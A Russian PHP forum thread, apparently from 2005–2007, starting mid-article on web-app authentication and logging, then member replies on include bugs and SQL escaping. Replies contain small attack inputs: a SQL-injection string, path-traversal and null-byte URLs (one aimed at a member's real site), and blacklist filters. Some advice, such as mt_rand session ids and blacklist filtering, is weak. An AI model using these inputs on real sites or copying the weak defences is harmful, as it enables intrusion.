3. Определение пользователя по IP-адресу. В этом случае, после прохождения авторизации, где-нибудь в локальной базе данных (sql, dbm, да хоть в txt-файле) сохраняется текущий IP пользователя, а все скрипты защищенной части смотрят в переменную REMOTE_ADDR и проверяют, есть ли такой адрес в базе. Если есть - значит, авторизация была, если нет - "hacker? he-he..." :-)

Это более надежный способ - не пройти авторизацию и получить доступ удастся лишь в том случае, если с того же IP сидит другой пользователь, успешно авторизовавшийся. Однако, учитывая распространенность прокси-серверов и IP-Masquerad"инга - это вполне реально.

4. Единственным известным мне простым и достаточно надежным способом верификации личности пользователя является авторизация при помощи random uid. Рассмотрим ее более подробно:

После авторизации пользователя скрипт, проведший авторизацию, генерирует достаточно длинное случайное число:

mt_srand((double)microtime()*1000000);
$uid=mt_rand(1,1000000);

Это число он:
а) заносит в локальный список авторизовавшихся пользователей;
б) выдает пользователю.

Пользователь при каждом запросе, помимо другой информации (сообщение в чате, или список сообщений в гостевой книге), отправляет серверу свой uid. При этом в документе с формами ввода будет присутствовать, наряду с другими формами, тег вида:

<input type=hidden name=uid value=1234567890>

Форма uid невидима для пользователя, но она передается скрипту защищенной части приложения. Тот сличает переданный ему uid с uid"ом, хранящимся в локальной базе и либо выполняет свою функцию, либо...

Единственное, что необходимо сделать при такой организации - периодически чистить локальный список uid"ов и/или сделать для пользователя кнопку "выход", при нажатии на которую локальный uid пользователя сотрется из базы на сервере - сессия закрыта.

Некоторые программисты используют в качестве uid не "одноразовое" динамически генерирующееся число, а пароль пользователя. Это допустимо, но это является "дурным тоном", поскольку пароль пользователя обычно не меняется от сессии к сессии, а значит - хакер сможет сам открывать сессии. Та же самая модель может быть использована везде, где требуется идентификация пользователя - в чатах, веб-конференциях, электронных магазинах.

В заключение стоит упомянуть и о такой полезной вещи, как ведение логов. Если в каждую из описанных процедур встроить возможность занесения события в лог-файл с указанием IP-адреса потенциального злоумышленника - то в случае реальной атаки вычислить хакера будет гораздо проще, поскольку хакеры обычно пробуют последовательно усложняющиеся атаки. Для определения IP-адреса желательно использовать не только стандартную переменную REMOTE_ADDR, но и менее известную HTTP_X_FORWARDED_FOR, которая позволяет определить IP пользователя, находящегося за прокси-сервером. Естественно - если прокси это позволяет.

При ведении лог-файлов - необходимо помнить, что доступ к ним должен быть только у вас. Лучше всего, если они будут расположены за пределами дерева каталогов, доступного через WWW. Если нет такой возможности - создайте отдельный каталог для лог-файлов и закройте туда доступ при помощи .htaccess (Deny from all).

Я буду очень признателен, если кто-нибудь из программистов поделится своими - не описанными здесь -методами обеспечения безопасности при разработке приложений для Web.
P.S. Выражаю глубокую благодарность Козину Максиму ([email protected]) за рецензирование данной статьи и ряд весьма ценных дополнений.



--------------------
user posted image
PM   Вверх
CyClon
Дата 10.12.2005, 21:00 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 838
Регистрация: 3.12.2005

Репутация: нет
Всего: 4



Вот тут распечатал парочку статей включая эту.. Только дочитал.. И скажу вам - отличная статья! Читать всем без исключения.


--------------------
user posted image
PM   Вверх
Ciber SLasH
Дата 14.12.2005, 19:22 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Участник Клуба
Сообщений: 1813
Регистрация: 9.11.2004
Где: С.-Петербург

Репутация: нет
Всего: 67



Цитата(CyClon @ 10.12.2005, 21:00)
Вот тут распечатал парочку статей включая эту..

Источник не подскажешь ?
PM   Вверх
CyClon
Дата 14.12.2005, 20:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 838
Регистрация: 3.12.2005

Репутация: нет
Всего: 4



Спросил бы раньше, подсказал быsmile))
Добавлено @ 20:46
Хех ребята учитись юзать поиск.
http://yandex.ru
Запрос:

IP-адреса потенциального злоумышленника - то в

вывалило кучу сайтоффsmile

http://www.winsov.ru/php003.php
http://www2.marketer.ru/articles/index.pr820.html
http://nbsp.ru/articles/2005/11/10/priemy_...okonchanie.html
http://renewing.ru/modules.php?name=Pages&pa=showpage&pid=91

Думаю что то на всех есть полезное. Пойду серфить.
Добавлено @ 20:47
Источник: http://detail.phpclub.net/


--------------------
user posted image
PM   Вверх
Alx
Дата 8.1.2006, 16:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Ajaxy
****


Профиль
Группа: Комодератор
Сообщений: 2903
Регистрация: 26.11.2003
Где: Cutopia

Репутация: нет
Всего: 78



1. рекомендуется использовать функцию mysql_real_escape_string() вместо mysql_escape_string(), т.к. последняя теряет смысл при Unicode-кодировке.

2. с include (а вернее рекомендую использовать require) я поступаю так:
Код

<?
$act = $_GET['act'];
require "/sources/{$act}.php";
?>


3. ещё раз четко про SQL, чтобы исключить возможность упущения чего-либо:

1) всегда использовать кавычки вокруг переменной вставляемой в запрос:
Код

SELECT * FROM _tbl WHERE _cell = '{$cell}';

2) всегда использовать функцию mysql_real_escape_string() хотя бы для проставления бэкслэшей ( \ ) перед кавычками дабы не получилось так ( $cell = "' and _pass > '0" ):
Код

SELECT * FROM _tbl WHERE _cell = '' and _pass > '0';

а получилось так:
Код

SELECT * FROM _tbl WHERE _cell = '\' and _pass > \'0';

3) всегда хранить данные, введённые пользователем, которые рано или поздно будут выведены в браузер только после пропуска через функцию htmlspecialchars()
4) если мы ждем от юзера число, достаточно строку пропустить через intval():
Код

$userid = $_GET['userid'];
$userid = intval($userid);
mysql_query("SELECT * FROM _tbl WHERE _userid = '{}');

таким образом, какую бы противную строчку мы не получили от хацкера, от неё останутся только циферки или 0.

вот это надо обязательно запомнить!


--------------------
PM MAIL WWW ICQ   Вверх
Mal Hack
Дата 8.1.2006, 19:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 1
Всего: 261



Цитата(Alx @ 8.1.2006, 16:37 Найти цитируемый пост)

2. с include (а вернее рекомендую использовать require) я поступаю так:

Сам факт использования той или иной функции на безопасности в данном случае не сказывается.
Цитата(Alx @ 8.1.2006, 16:37 Найти цитируемый пост)

4) если мы ждем от юзера число, достаточно строку пропустить через intval():

А я бы вот использовал проверку, а не приведение типов. ctype_*();
Цитата(Alx @ 8.1.2006, 16:37 Найти цитируемый пост)

3. ещё раз четко про SQL, чтобы исключить возможность упущения чего-либо:

http://vingrad.ru/PHP-ART-002847
PM ICQ   Вверх
Mh139
Дата 30.1.2006, 10:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 1
Регистрация: 29.1.2006

Репутация: нет
Всего: нет



Цитата

Ошибка №1: include-баг


А по-моему не стоит заморачиваться с basename'ами и regexp'ами.

Самый на мой взгляд удобный способ - ассоциативный массив типа

Код

$page_array["news"] = "news.php";
$page_array["guestbook"] = "guestbook.php"
/* и т. д. */


Ну и естественно в include() нужно передавать $page_array[$page]. Если переданный ключ в массиве отсутствует, то и подключать нечего.
PM MAIL   Вверх
CyClon
Дата 7.2.2006, 19:06 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 838
Регистрация: 3.12.2005

Репутация: нет
Всего: 4



Mh139, разумно.

Или юзать:

switch ($_GET['page']) {
case forum:
include("forum.php");
default:
include("news.php");
}



--------------------
user posted image
PM   Вверх
IZ@TOP
Дата 14.2.2006, 09:21 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Панда-бир!
****


Профиль
Группа: Участник
Сообщений: 4795
Регистрация: 3.2.2003
Где: Бамбуковый лес

Репутация: 1
Всего: 73



CyClon, или хранить все данные в базе. А вообще с появлением РНР 5, стало возможным ограничивать доступ к переменным и методам классов, что на мой взгляд крайне удобно и плюс к безопасности.


--------------------
Один из розовых плюшевых-всадников апокалипсиса... очень злой...

Семь кругов ада для новых элементов языка
Мои разрозненные мысли
PM MAIL WWW ICQ Skype GTalk   Вверх
CyClon
Дата 19.2.2006, 20:46 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 838
Регистрация: 3.12.2005

Репутация: нет
Всего: 4



IZ@TOP, PHP5 ни разу не юзалsmile)) Все PHP4...


--------------------
user posted image
PM   Вверх
IZ@TOP
Дата 20.2.2006, 07:56 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Панда-бир!
****


Профиль
Группа: Участник
Сообщений: 4795
Регистрация: 3.2.2003
Где: Бамбуковый лес

Репутация: 1
Всего: 73



CyClon, четверка уже морально устарела как и третья версия в свое время.


--------------------
Один из розовых плюшевых-всадников апокалипсиса... очень злой...

Семь кругов ада для новых элементов языка
Мои разрозненные мысли
PM MAIL WWW ICQ Skype GTalk   Вверх
Janus
Дата 21.2.2006, 18:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 186
Регистрация: 26.9.2005

Репутация: нет
Всего: 1



Четверка все еще на большинстве хостингов стоит.
--------------------
Проект "Репликатор" 
PM MAIL   Вверх
CTAPbIuMABP
Дата 22.2.2006, 12:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 92
Регистрация: 17.2.2006
Где: Киев

Репутация: нет
Всего: 1



IMHO

Код

<?
$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.myserver.com")) {
echo "hacker? he-he... ";
exit;
}
?>


на этот случай есть программа InetCrack

Код

if ($_GET['file'] == "../date/passwd.dat") {
echo "Вы ввели запрещеный адрес файла!";
return 0;
}


тоже бред на проверку

Код

if ($_GET['file'] == "%2E%2E%2Fdate/passwd.dat") {
echo "Вы ввели запрещеный адрес файла!";
return 0;
}


А вообще чтобы узнать побольше советую очень практичный пример! скачайте XSpider даже демка подойдет, напишите чтото вроде

Код

$_SERVER[HTTP_REFERER] -> в БД или в dat file
echo "<a href=\"file.php?var=1\">\file.php</a>";


и посмотрите лог файл или БД там будет много интересного

Это сообщение отредактировал(а) CTAPbIuMABP - 22.2.2006, 12:55
PM WWW ICQ Skype   Вверх
OlegNT
Дата 19.4.2006, 20:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 58
Регистрация: 21.3.2006
Где: Нижний Тагил

Репутация: нет
Всего: нет



C include поступаю так:

Код

include (!empty ($_GET['page']) && substr_count ($_GET['page'], '/') == 0 && substr_count ($_GET['page'], '\\') == 0 && file_exists ("pages/".$_GET['page'].".php") ? $_GET['page'] : "home").".php";


Кстати, ".php" в GET-запросе можно избавиться, если набрать:

index.php?page=file.txt%00  

Это сообщение отредактировал(а) OlegNT - 19.4.2006, 20:09
PM MAIL WWW Jabber   Вверх
S.A.P.
Дата 19.4.2006, 20:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Участник Клуба
Сообщений: 2664
Регистрация: 11.6.2004

Репутация: нет
Всего: 71



Мое ИМХО по include багам:
в include, require и т.д. использовать только константные строки! и include баг исчезает как класс.
Некоторые могут возразить: "а как - же ты тогда подрубаешь скрипты?". Отвечаю: вся структура с URL ами и соответствующими им модулями хранится в базе данных или других носителях. И уже давно пора на ЧПУ переходить. mod_rewrite даже на бесплатных хостах начинают ставить.
Конечно - же исключением может являться функция __autoload, где как раз и должны использоваться переменные в include, но ИМХО однажды хорошо продуманный и реализованный __autoload должен решить пробему с этим
Код

include (!empty ($_GET['page']) && substr_count ($_GET['page'], '/') == 0 && substr_count ($_GET['page'], '\\') == 0 && file_exists ("pages/".$_GET['page'].".php") ? $_GET['page'] : "home").".php";

smile 


Мое ИМХО по SQL и mysql_real_escape_string()
Чтобы избавиться от подобных безобразий почитайте про placeholders у Д.Котерова.
http://www.dklab.ru/lib/Database_Placeholder/
  

Это сообщение отредактировал(а) S.A.P. - 19.4.2006, 21:04
PM MAIL   Вверх
CyClon
Дата 3.5.2006, 11:19 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 838
Регистрация: 3.12.2005

Репутация: нет
Всего: 4



Я у себя использую данный способ проверки:

Код
if (!empty($_GET['go']) && preg_match("#^[a-z0-9_]{2,20}$#", $_GET['go']) && file_exists("modules/".$_GET['go']."/index.php")) {
    $module = $_GET['go'];
}


И все ваши include-баги отдыхают - можно вписывать только строчные буквы латинского алфавита с цифры + если ихсодники никому не показывать своего сайта - то у взломщика меньше 1% шанса, что он ломанет сайт через эту дырку. 


--------------------
user posted image
PM   Вверх
Aliance
Дата 16.5.2006, 22:32 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


I ♥ <script>
****


Профиль
Группа: Модератор
Сообщений: 6418
Регистрация: 2.8.2004
Где: spb

Репутация: нет
Всего: 137



Цитата(Mal Hack @  8.1.2006,  20:53 Найти цитируемый пост)
А я бы вот использовал проверку, а не приведение типов. ctype_*();

если в переменной должно содержаться только число - то ctype_digit() подойдет?
Не точки, не запятой, не символов, только число. 
PM MAIL WWW ICQ Skype   Вверх
Mal Hack
Дата 16.5.2006, 23:51 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 1
Всего: 261



Да. 
PM ICQ   Вверх
Wolf1994
Дата 22.6.2006, 18:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1701
Регистрация: 5.10.2004

Репутация: нет
Всего: 29



Цитата

Для того, чтобы юзеры не могли набирая http://site.ru/data/passwd.dat увидеть ваши пароли, либо MD5 хеши (их можно легко подобрать, например через MD5 Inside), то создайте папку date в корневом коталоге Вашего сайта (то бишь где валяются папки site(или www), cgi-bin и прочие) и выложите все свои файлы, где храниться записываемая информация в нее.
Если хотите инклудировать фалйы, то пишите include("../date/file.dat");. Дальше вы разберетесь. 


Добавлю свой метод защиты. При использовании читабельных файлов с данными, можно переписать обращение к этим файлам (например по расширению ".txt"), через мод-реврайт, на 404-страницу. 
PM MAIL WWW   Вверх
AntiLL
Дата 25.10.2006, 22:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 26
Регистрация: 4.2.2006

Репутация: нет
Всего: нет



Я больше доверяю защите через .htaccess. Ко всем файлам которые инклюдяться однозначно 
Код

deny from all

 Также если некоторые файлы только для приватного использования то однозначно в .htaccess:
Код

AuthUserFile D:/hst/config/.htpasswd
AuthName "Not For You"
AuthType Basic
<Files *.*>
require user 
</Files>


Что касается средств безопасности пхп, то однозначно не доверять ничему и никому - GET, POST, cookie, формы и т.д.

Очень часто встречается вид инъекции через GET, причем в самых разных приложениях, даже в тех за которые просятся крупные суммы денег. Я решаю эту проблему очень просто - просто напросто запрещаю все недопустмые символы в УРЛ - кавычки, скобки, "../" , как в прямом виде так и в Unicod. Приведу код, хотя он и не отличается оптимальностью, по идее бы это все надо делать регулярными выражениями но мне чета впадлу ща). Кстати на скорости работы всей системы в целом не влияет, но зато отпадает сразу уйма ненужной головной боли.
Код

function check_url()
   {
$url='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$new_url=strip_tags(unhtmlentities($url));
$new_url=addslashes($new_url);
$new_url=str_replace("../", "", $new_url);
$new_url=str_replace("..%2F", "", $new_url);
$new_url=str_replace("..%2f", "", $new_url);
$new_url=str_replace("%27", "", $new_url);
$new_url=str_replace("(", "", $new_url);
$new_url=str_replace(")", "", $new_url);
$new_url=str_replace("%20", "", $new_url);
$new_url=str_replace("eval", "", $new_url);




if ($new_url != $url)  {    
                 exit; 
                          }
          return TRUE;
   }


PM MAIL   Вверх
Aliance
Дата 7.11.2006, 18:39 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


I ♥ <script>
****


Профиль
Группа: Модератор
Сообщений: 6418
Регистрация: 2.8.2004
Где: spb

Репутация: нет
Всего: 137



Является ли функция addslashes() приемлиемой для экранирования SQL запросов?
PM MAIL WWW ICQ Skype   Вверх
CyClon
Дата 7.11.2006, 19:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 838
Регистрация: 3.12.2005

Репутация: нет
Всего: 4



Мои предпочтения по убывающей smile

mysql_real_escape_string
mysql_escape_string
addslashes


--------------------
user posted image
PM   Вверх
Aliance
Дата 7.11.2006, 19:36 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


I ♥ <script>
****


Профиль
Группа: Модератор
Сообщений: 6418
Регистрация: 2.8.2004
Где: spb

Репутация: нет
Всего: 137



Нет, это понятно, я всегда пользуюсь mysql_real_escape_string, просто в данном вопросе мне нужно использовать функцию без подключения к БД, так как вставка происходит через API, написанные не мной и я не знаю есть ли там экранирование (хотя скорее всего есть)
PM MAIL WWW ICQ Skype   Вверх
Mal Hack
Дата 7.11.2006, 20:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 1
Всего: 261



Я бы использовал PDO->prepare в PHP5.
PM ICQ   Вверх
AntonioBanderaz
Дата 1.12.2006, 19:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Velichko Anton
**


Профиль
Группа: Участник
Сообщений: 851
Регистрация: 28.4.2005
Где: Санкт-Петербург

Репутация: нет
Всего: 18



Цитата(Alx @  8.1.2006,  16:37 Найти цитируемый пост)
<?
$act = $_GET['act'];
require "/sources/{$act}.php";
?>

и твой сайт зациклен
http://alx.com.ru/index.php?act=../index




--------------------
ГЫ... 
PM MAIL ICQ   Вверх
Alx
Дата 1.12.2006, 22:19 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Ajaxy
****


Профиль
Группа: Комодератор
Сообщений: 2903
Регистрация: 26.11.2003
Где: Cutopia

Репутация: нет
Всего: 78



AntonioBanderaz
ок, спасибо) залатаю)


--------------------
PM MAIL WWW ICQ   Вверх
R.M.
Дата 5.1.2007, 03:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Анархист
****


Профиль
Группа: Участник
Сообщений: 2164
Регистрация: 8.6.2005
Где: Питер

Репутация: нет
Всего: 30



Мне кажется в статье не хватает очень важной инфы.... о куках smile скажем о том что в куки низя писать, нельзя проверять только по логину из кук, и т.д.

Это сообщение отредактировал(а) R.M. - 7.1.2007, 18:49


--------------------
Помнишь как бодрили дискотеки прошлого века? Теперь стул, компьютер и нету человека.

Nokia LifeStyle - Всё для смартфонов Nokia 
PM MAIL WWW ICQ   Вверх
Mal Hack
Дата 5.1.2007, 16:00 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 1
Всего: 261



Цитата(R.M. @  5.1.2007,  03:27 Найти цитируемый пост)
Ещё можно от инклуд-бага спастись фишкой

И как она защитит?

Цитата(R.M. @  5.1.2007,  03:27 Найти цитируемый пост)
А вообще мне кажется в статье не хватает очень важной инфы.... о куках smile скажем о том что в куки низя писать, нельзя проверять только по логину из кук, и т.д.

http://phpclub.ru/detail/article/sessions
PM ICQ   Вверх
R.M.
Дата 7.1.2007, 18:47 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Анархист
****


Профиль
Группа: Участник
Сообщений: 2164
Регистрация: 8.6.2005
Где: Питер

Репутация: нет
Всего: 30



Цитата(Mal Hack @  5.1.2007,  17:00 Найти цитируемый пост)
И как она защитит?

Да, что-то я немного не о том smile

Цитата(Mal Hack @  5.1.2007,  17:00 Найти цитируемый пост)
http://phpclub.ru/detail/article/sessions 

Что ты хотел этим сказать? smile

Это сообщение отредактировал(а) R.M. - 7.1.2007, 18:48


--------------------
Помнишь как бодрили дискотеки прошлого века? Теперь стул, компьютер и нету человека.

Nokia LifeStyle - Всё для смартфонов Nokia 
PM MAIL WWW ICQ   Вверх
Mal Hack
Дата 7.1.2007, 19:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 1
Всего: 261



Цитата(R.M. @  7.1.2007,  18:47 Найти цитируемый пост)
Что ты хотел этим сказать? smile

Это - информация, которую ты не нашел.
PM ICQ   Вверх
Staind
Дата 17.12.2007, 18:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 175
Регистрация: 17.12.2007
Где: Планета сокровищ

Репутация: нет
Всего: 3



По поводу бага "Ошибка №1: include-баг".
У меня так сделано:
Меню сайта (с шапкой) в отдельном файле menu.php
Этот файлик прицепляется к каждой нужной страничке вот таким образом: "include "menu.php";". А вот теперь вопрос: "Так оставить, или лучше записать так include("./".basename("menu.php")); ? 

--------------------
Ничто так не раздражает человека, как просьба успокоиться
PM MAIL WWW ICQ   Вверх
Alx
Дата 17.12.2007, 18:24 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Ajaxy
****


Профиль
Группа: Комодератор
Сообщений: 2903
Регистрация: 26.11.2003
Где: Cutopia

Репутация: нет
Всего: 78



Staind, послушай, тут имелось ввиду использование basename для того что обезопасить данные, пришедшие от пользователя, потому что злоумышленник может составить запрос так, чтобы изменилась директория расположения подключаемого файла, что позволит ему подключить любой файл на сервере, чего нам совершенно не нужно. в данном случае ты сам выбираешь какой файл подключать, поэтому максимум что у тебя получилось - это защита от самого себя. smile 


--------------------
PM MAIL WWW ICQ   Вверх
Staind
Дата 17.12.2007, 18:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 175
Регистрация: 17.12.2007
Где: Планета сокровищ

Репутация: нет
Всего: 3



Все. Еще подумав 10 минут над багом понял, что это не то, что мне нужно, спасибо Alx за ответ. Я просто новичек smile
--------------------
Ничто так не раздражает человека, как просьба успокоиться
PM MAIL WWW ICQ   Вверх
Alx
Дата 17.12.2007, 19:17 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Ajaxy
****


Профиль
Группа: Комодератор
Сообщений: 2903
Регистрация: 26.11.2003
Где: Cutopia

Репутация: нет
Всего: 78



мне вот интересно узнать, почему в последнее время все запретили подгружать аватарки, которые выдают скрипты?
даж на винграде так.. хотя у меня mod_rewrite avatar.gif -> avatar.php занял минуту...
но на многих новых сайтах вообще разрешили загружать картинки только с локалки..


--------------------
PM MAIL WWW ICQ   Вверх
bars80080
Дата 18.12.2007, 11:11 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


прапор творюет
****
Награды: 1



Профиль
Группа: Завсегдатай
Сообщений: 12022
Регистрация: 5.12.2007
Где: Königsberg

Репутация: нет
Всего: 315



Цитата
По поводу бага "Ошибка №1: include-баг".

по этому поводу есть замечательная идея:
обрабатывать только ожидаемые данные,
то есть вместо $_GET['page'] = 'next_page.php'; использовать $_GET['page'] = 12;
и далее из БД или просто из файла или написанного внутри того же скрипта проверять соответствие:
Код

$mv = array(array(0, 'главная', 'main.php'),
array(12, 'следующая', 'next_page.php'));
if(!empty($mv[$_GET['page']])) include ($mv[$_GET['page']][2]); 
else include('main.php');

всё
PM MAIL WWW   Вверх
Feldmarschall
Дата 18.12.2007, 13:46 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок
****


Профиль
Группа: Участник
Сообщений: 2641
Регистрация: 11.12.2007

Репутация: нет
Всего: 32



Код $page=basename($_GET['page']) на порядок короче твоего. Причем не увеличивается(!) с увеличением количества страниц.

PM   Вверх
bars80080
Дата 18.12.2007, 14:17 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


прапор творюет
****
Награды: 1



Профиль
Группа: Завсегдатай
Сообщений: 12022
Регистрация: 5.12.2007
Где: Königsberg

Репутация: нет
Всего: 315



не, я вообще с глобальной мыслью о централизации

то есть, если меню загнать в БД, чтоб легко было править и т.п....
тогда и проверять надо исходя из (есть ли такая страница)

то есть чтобы вообще никаких сюрпризов
PM MAIL WWW   Вверх
Feldmarschall
Дата 18.12.2007, 14:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок
****


Профиль
Группа: Участник
Сообщений: 2641
Регистрация: 11.12.2007

Репутация: нет
Всего: 32



Лично я - так вообще не сторонник инклюдить переменные PHP скрипты.
Кабы не классическая реализация ЧПУ, когда все запросы идут на один индекс, который уже инклюдит в себя нужные модули - так и вообще бы никогда ничего не инклюдил с переменным именем, а только конфиги.

Твой подход тоже неплох, за исключением того, что в базу придется лезть перед тем, как сторонний модуль инклюдить.
По мне - так проверил нужный файл на наличие - та заинклюдил. Вот и все проверки.

Но спорить о том, какой способ лучше - не стану. Все хороши.
PM   Вверх
bars80080
Дата 18.12.2007, 15:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


прапор творюет
****
Награды: 1



Профиль
Группа: Завсегдатай
Сообщений: 12022
Регистрация: 5.12.2007
Где: Königsberg

Репутация: нет
Всего: 315



ой, вспомнил,
к вопросу о копировании файлов, допустим

Код
copy('http://server.ru/index.php', 'my_local_folder/index.php');

то есть мы копируем чужой файл, разбираемся с методикой его поведения, достаём секретный сведения,
скажем адрес на библиотеку функций занимающихся паролизацией и шифрованием, генерацией хэша и т.п.,
кот. тоже копируем

конечно, это устраняется вынесением особо важных файлов за дерево каталогов,
кстати, туда нет возможности залезть чужому?

задавать конкретный адрес в передаваемых параметрах ( index.php?page=lock.php ) - дополнительный шанс хакеру
чем меньше информации о структуре сайта, тем сложнее будет его сломать
Цитата(Opik @  6.1.2005,  00:06 Найти цитируемый пост)
Это лишит злоумышленника "лишней" информации по поводу скрипта, тем самым кое как обезопасив его


PM MAIL WWW   Вверх
Feldmarschall
Дата 18.12.2007, 16:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок
****


Профиль
Группа: Участник
Сообщений: 2641
Регистрация: 11.12.2007

Репутация: нет
Всего: 32



Цитата(bars80080 @  18.12.2007,  15:51 Найти цитируемый пост)
copy('http://server.ru/index.php', 'my_local_folder/index.php');

сотри, пока никто не видел...

адреса же вида index.php?page=lock.php вообще не имеют смысла.
куда проще и удобнее писать 
lock.php
PM   Вверх
bars80080
Дата 18.12.2007, 16:22 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


прапор творюет
****
Награды: 1



Профиль
Группа: Завсегдатай
Сообщений: 12022
Регистрация: 5.12.2007
Где: Königsberg

Репутация: нет
Всего: 315



стёр бы, если бы не поигрался с несколькими сайтами на вшивость

оказывается очень удобно коллекции фотографий таким образом вытягивать
PM MAIL WWW   Вверх
Feldmarschall
Дата 18.12.2007, 16:26 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок
****


Профиль
Группа: Участник
Сообщений: 2641
Регистрация: 11.12.2007

Репутация: нет
Всего: 32



при чем здесь коллекции фотографий? ты пишешь не про фотографии, а про index.php

Добавлено @ 16:36
Цитата(bars80080 @  18.12.2007,  15:51 Найти цитируемый пост)
мы копируем чужой файл, разбираемся с методикой его поведения, достаём секретный сведения

слушай, не в обиду, перечитай, плиз, http://phpfaq.ru/na_tanke


Это сообщение отредактировал(а) Feldmarschall - 18.12.2007, 16:36
PM   Вверх
bars80080
Дата 18.12.2007, 16:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


прапор творюет
****
Награды: 1



Профиль
Группа: Завсегдатай
Сообщений: 12022
Регистрация: 5.12.2007
Где: Königsberg

Репутация: нет
Всего: 315



если отсылаешь на танк, то конкретней куда (дуло, башня, гусеница?),
если конкретно index.php, то и его тоже копировал, просто я же не хакер долбанный какой-нибудь, лазить по чужим файлам
так кое-где использовал для получения толпы фоток
PM MAIL WWW   Вверх
Feldmarschall
Дата 18.12.2007, 16:50 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок
****


Профиль
Группа: Участник
Сообщений: 2641
Регистрация: 11.12.2007

Репутация: нет
Всего: 32



Цитата

Результатом работы скрипта на PHP в большинстве случаев является обычный текст. Текст HTML страницы. Которая отдается браузеру и показывается им, как обычный HTML. Вы сами можете в этом убедиться, написав в скрипте
<? echo "Привет, <b>Вася!</b>"; ?>;
А потом просмотрев в браузере исходный текст полученной страницы. Никаких тегов PHP там нет! Только
Привет, <b>Вася!</b>

Потому, что PHP исполняется на сервере!

PM   Вверх
bars80080
Дата 18.12.2007, 16:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


прапор творюет
****
Награды: 1



Профиль
Группа: Завсегдатай
Сообщений: 12022
Регистрация: 5.12.2007
Где: Königsberg

Репутация: нет
Всего: 315



